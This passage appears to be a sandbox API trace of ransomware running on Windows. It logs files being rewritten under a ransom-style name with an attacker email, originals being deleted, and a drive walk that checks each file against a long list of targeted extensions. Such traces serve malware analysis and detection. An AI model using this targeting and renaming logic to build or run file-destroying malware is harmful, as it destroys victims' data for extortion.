lpNumberOfBytesWritten=0x34bfc9c*=0x2460, lpOverlapped=0x0) returned 1 [0274.978] ReadFile (in: hFile=0x398, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.978] WriteFile (in: hFile=0x384, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.979] SetEndOfFile (hFile=0x384) returned 1 [0274.989] CloseHandle (hObject=0x384) returned 1 [0274.990] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.990] SetEndOfFile (hFile=0x398) returned 1 [0274.992] CloseHandle (hObject=0x398) returned 1 [0274.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0275.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0275.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0275.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0275.001] lstrlenW (lpString=".doc") returned 4 [0275.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.001] lstrlenW (lpString=".docx") returned 5 [0275.001] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0275.001] lstrlenW (lpString=".pdf") returned 4 [0275.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.001] lstrlenW (lpString=".xls") returned 4 [0275.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.001] lstrlenW (lpString=".xlsx") returned 5 [0275.001] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0275.001] lstrlenW (lpString=".ppt") returned 4 [0275.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0275.001] lstrlenW (lpString=".zip") returned 4 [0275.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.001] lstrlenW (lpString=".rar") returned 4 [0275.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.001] lstrlenW (lpString=".bz2") returned 4 [0275.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.001] lstrlenW (lpString=".7z") returned 3 [0275.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0275.001] lstrlenW (lpString=".dbf") returned 4 [0275.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0275.001] lstrlenW (lpString=".1cd") returned 4 [0275.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0275.001] lstrlenW (lpString=".jpg") returned 4 [0275.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0275.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0275.002] lstrlenW (lpString=".doc") returned 4 [0275.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.002] lstrlenW (lpString=".docx") returned 5 [0275.002] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0275.002] lstrlenW (lpString=".pdf") returned 4 [0275.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.002] lstrlenW (lpString=".xls") returned 4 [0275.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.002] lstrlenW (lpString=".xlsx") returned 5 [0275.002] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0275.002] lstrlenW (lpString=".ppt") returned 4 [0275.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0275.002] lstrlenW (lpString=".zip") returned 4 [0275.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.002] lstrlenW (lpString=".rar") returned 4 [0275.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.002] lstrlenW (lpString=".bz2") returned 4 [0275.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.002] lstrlenW (lpString=".7z") returned 3 [0275.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0275.002] lstrlenW (lpString=".dbf") returned 4 [0275.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0275.002] lstrlenW (lpString=".1cd") returned 4 [0275.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0275.002] lstrlenW (lpString=".jpg") returned 4 [0275.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.003] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0275.003] lstrlenW (lpString="HH02166_.WMF") returned 12 [0275.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0275.003] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=1324) returned 1 [0275.003] CloseHandle (hObject=0x384) returned 1 [0275.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x20 [0275.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0275.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0275.003] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0275.003] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0275.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0275.004] GetLastError () returned 0x0 [0275.004] ReadFile (hFile=0x384, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0) Thread: id = 103 os_tid = 0x694 [0266.702] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x3a10f28 [0266.720] lstrlenW (lpString="C:") returned 2 [0266.721] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x35ffd00 | out: lpFindFileData=0x35ffd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x383228 [0266.732] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0266.732] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0266.732] lstrlenW (lpString="$Recycle.Bin") returned 12 [0266.732] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0266.732] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x3a20f30 [0266.732] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0266.732] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x35ffa84 | out: lpFindFileData=0x35ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x399e48 [0266.732] FindNextFileW (in: hFindFile=0x399e48, lpFindFileData=0x35ffa84 | out: lpFindFileData=0x35ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.732] FindNextFileW (in: hFindFile=0x399e48, lpFindFileData=0x35ffa84 | out: lpFindFileData=0x35ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x47d2a560, ftLastAccessTime.dwHighDateTime=0x1d543f7, ftLastWriteTime.dwLowDateTime=0x47d2a560, ftLastWriteTime.dwHighDateTime=0x1d543f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0266.733] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0266.733] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0266.733] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0266.733] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0266.733] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x3a30f38 [0266.733] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0266.733] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x35ff808 | out: lpFindFileData=0x35ff808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x47d2a560, ftLastAccessTime.dwHighDateTime=0x1d543f7, ftLastWriteTime.dwLowDateTime=0x47d2a560, ftLastWriteTime.dwHighDateTime=0x1d543f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x399e88 [0266.733] FindNextFileW (in: hFindFile=0x399e88, lpFindFileData=0x35ff808 | out: lpFindFileData=0x35ff808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x47d2a560, ftLastAccessTime.dwHighDateTime=0x1d543f7, ftLastWriteTime.dwLowDateTime=0x47d2a560, ftLastWriteTime.dwHighDateTime=0x1d543f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.733] FindNextFileW (in: hFindFile=0x399e88, lpFindFileData=0x35ff808 | out: lpFindFileData=0x35ff808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x47d2a560, ftCreationTime.dwHighDateTime=0x1d543f7, ftLastAccessTime.dwLowDateTime=0x47d2a560, ftLastAccessTime.dwHighDateTime=0x1d543f7, ftLastWriteTime.dwLowDateTime=0x47d506c0, ftLastWriteTime.dwHighDateTime=0x1d543f7, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.733] lstrlenW (lpString="desktop.ini") returned 11 [0266.733] lstrlenW (lpString=".1cd") returned 4 [0266.733] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0266.733] lstrlenW (lpString=".3ds") returned 4 [0266.733] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0266.733] lstrlenW (lpString=".3fr") returned 4 [0266.733] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0266.733] lstrlenW (lpString=".3g2") returned 4 [0266.733] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0266.733] lstrlenW (lpString=".3gp") returned 4 [0266.733] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0266.733] lstrlenW (lpString=".7z") returned 3 [0266.733] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0266.734] lstrlenW (lpString=".accda") returned 6 [0266.734] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0266.734] lstrlenW (lpString=".accdb") returned 6 [0266.734] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0266.734] lstrlenW (lpString=".accdc") returned 6 [0266.734] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0266.734] lstrlenW (lpString=".accde") returned 6 [0266.734] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0266.734] lstrlenW (lpString=".accdt") returned 6 [0266.734] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0266.734] lstrlenW (lpString=".accdw") returned 6 [0266.734] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0266.734] lstrlenW (lpString=".adb") returned 4 [0266.734] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0266.734] lstrlenW (lpString=".adp") returned 4 [0266.734] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0266.734] lstrlenW (lpString=".ai") returned 3 [0266.734] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0266.734] lstrlenW (lpString=".ai3") returned 4 [0266.734] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0266.734] lstrlenW (lpString=".ai4") returned 4 [0266.734] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0266.734] lstrlenW (lpString=".ai5") returned 4 [0266.734] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0266.734] lstrlenW (lpString=".ai6") returned 4 [0266.734] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0266.734] lstrlenW (lpString=".ai7") returned 4 [0266.734] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0266.734] lstrlenW (lpString=".ai8") returned 4 [0266.734] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0266.734] lstrlenW (lpString=".anim") returned 5 [0266.734] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0266.734] lstrlenW (lpString=".arw") returned 4 [0266.734] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0266.734] lstrlenW (lpString=".as") returned 3 [0266.734] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0266.734] lstrlenW (lpString=".asa") returned 4 [0266.735] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0266.735] lstrlenW (lpString=".asc") returned 4 [0266.735] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0266.735] lstrlenW (lpString=".ascx") returned 5 [0266.735] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0266.735] lstrlenW (lpString=".asm") returned 4 [0266.735] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0266.735] lstrlenW (lpString=".asmx") returned 5 [0266.735] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0266.735] lstrlenW (lpString=".asp") returned 4 [0266.735] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0266.735] lstrlenW (lpString=".aspx") returned 5 [0266.735] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0266.735] lstrlenW (lpString=".asr") returned 4 [0266.735] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0266.735] lstrlenW (lpString=".asx") returned 4 [0266.735] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0266.735] lstrlenW (lpString=".avi") returned 4 [0266.735] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0266.735] lstrlenW (lpString=".avs") returned 4 [0266.735] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0266.735] lstrlenW (lpString=".backup") returned 7 [0266.735] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0266.735] lstrlenW (lpString=".bak") returned 4 [0266.735] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0266.735] lstrlenW (lpString=".bay") returned 4 [0266.735] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0266.735] lstrlenW (lpString=".bd") returned 3 [0266.735] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0266.735] lstrlenW (lpString=".bin") returned 4 [0266.735] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0266.735] lstrlenW (lpString=".bmp") returned 4 [0266.735] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0266.735] lstrlenW (lpString=".bz2") returned 4 [0266.735] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0266.735] lstrlenW (lpString=".c") returned 2 [0266.736] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0266.736] lstrlenW (lpString=".cdr") returned 4 [0266.736] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0266.736] lstrlenW (lpString=".cer") returned 4 [0266.736] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0266.736] lstrlenW (lpString=".cf") returned 3 [0266.736] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0266.736] lstrlenW (lpString=".cfc") returned 4 [0266.736] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0266.736] lstrlenW (lpString=".cfm") returned 4 [0266.736] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0266.736] lstrlenW (lpString=".cfml") returned 5 [0266.736] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0266.736] lstrlenW (lpString=".cfu") returned 4 [0266.736] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0266.736] lstrlenW (lpString=".chm") returned 4 [0266.736] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0266.736] lstrlenW (lpString=".cin") returned 4 [0266.736] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0266.736] lstrlenW (lpString=".class") returned 6 [0266.736] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0266.736] lstrlenW (lpString=".clx") returned 4 [0266.736] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0266.736] lstrlenW (lpString=".config") returned 7 [0266.736] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0266.736] lstrlenW (lpString=".cpp") returned 4 [0266.736] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0266.736] lstrlenW (lpString=".cr2") returned 4 [0266.736] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0266.736] lstrlenW (lpString=".crt") returned 4 [0266.736] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0266.736] lstrlenW (lpString=".crw") returned 4 [0266.736] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0266.736] lstrlenW (lpString=".cs") returned 3 [0266.736] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0266.736] lstrlenW (lpString=".css") returned 4 [0266.736] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0266.737] lstrlenW (lpString=".csv") returned 4 [0266.737] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0266.737] lstrlenW (lpString=".cub") returned 4 [0266.737] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0266.737] lstrlenW (lpString=".dae") returned 4 [0266.737] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0266.737] lstrlenW (lpString=".dat") returned 4 [0266.737] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0266.737] lstrlenW (lpString=".db") returned 3 [0266.737] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0266.737] lstrlenW (lpString=".dbf") returned 4 [0266.737] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0266.737] lstrlenW (lpString=".dbx") returned 4 [0266.737] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0266.737] lstrlenW (lpString=".dc3") returned 4 [0266.737] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0266.737] lstrlenW (lpString=".dcm") returned 4 [0266.737] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0266.737] lstrlenW (lpString=".dcr") returned 4 [0266.737] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0266.737] lstrlenW (lpString=".der") returned 4 [0266.737] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0266.737] lstrlenW (lpString=".dib") returned 4 [0266.737] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0266.737] lstrlenW (lpString=".dic") returned 4 [0266.737] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0266.737] lstrlenW (lpString=".dif") returned 4 [0266.737] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0266.737] lstrlenW (lpString=".divx") returned 5 [0266.737] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0266.737] lstrlenW (lpString=".djvu") returned 5 [0266.737] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0266.737] lstrlenW (lpString=".dng") returned 4 [0266.737] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0266.737] lstrlenW (lpString=".doc") returned 4 [0266.737] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0266.738] lstrlenW (lpString=".docm") returned 5 [0266.738] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0266.738] lstrlenW (lpString=".docx") returned 5 [0266.738] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0266.738] lstrlenW (lpString=".dot") returned 4 [0266.738] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0266.738] lstrlenW (lpString=".dotm") returned 5 [0266.738] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0266.738] lstrlenW (lpString=".dotx") returned 5 [0266.738] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0266.738] lstrlenW (lpString=".dpx") returned 4 [0266.738] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0266.738] lstrlenW (lpString=".dqy") returned 4 [0266.738] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0266.738] lstrlenW (lpString=".dsn") returned 4 [0266.738] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0266.738] lstrlenW (lpString=".dt") returned 3 [0266.738] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0266.738] lstrlenW (lpString=".dtd") returned 4 [0266.738] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0266.738] lstrlenW (lpString=".dwg") returned 4 [0266.738] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0266.738] lstrlenW (lpString=".dwt") returned 4 [0266.738] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0266.738] lstrlenW (lpString=".dx") returned 3 [0266.738] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0266.738] lstrlenW (lpString=".dxf") returned 4 [0266.738] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0266.738] lstrlenW (lpString=".edml") returned 5 [0266.738] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0266.738] lstrlenW (lpString=".efd") returned 4 [0266.738] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0266.738] lstrlenW (lpString=".elf") returned 4 [0266.738] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0266.738] lstrlenW (lpString=".emf") returned 4 [0266.738] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0266.739] lstrlenW (lpString=".emz") returned 4 [0266.739] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0266.739] lstrlenW (lpString=".epf") returned 4 [0266.739] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0266.739] lstrlenW (lpString=".eps") returned 4 [0266.739] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0266.739] lstrlenW (lpString=".epsf") returned 5 [0266.739] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0266.739] lstrlenW (lpString=".epsp") returned 5 [0266.739] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0266.739] lstrlenW (lpString=".erf") returned 4 [0266.739] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0266.739] lstrlenW (lpString=".exr") returned 4 [0266.739] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0266.739] lstrlenW (lpString=".f4v") returned 4 [0266.739] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0266.739] lstrlenW (lpString=".fido") returned 5 [0266.739] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0266.739] lstrlenW (lpString=".flm") returned 4 [0266.739] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0266.739] lstrlenW (lpString=".flv") returned 4 [0266.739] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0266.739] lstrlenW (lpString=".frm") returned 4 [0266.739] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0266.739] lstrlenW (lpString=".fxg") returned 4 [0266.739] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0266.739] lstrlenW (lpString=".geo") returned 4 [0266.739] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0266.739] lstrlenW (lpString=".gif") returned 4 [0266.739] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0266.739] lstrlenW (lpString=".grs") 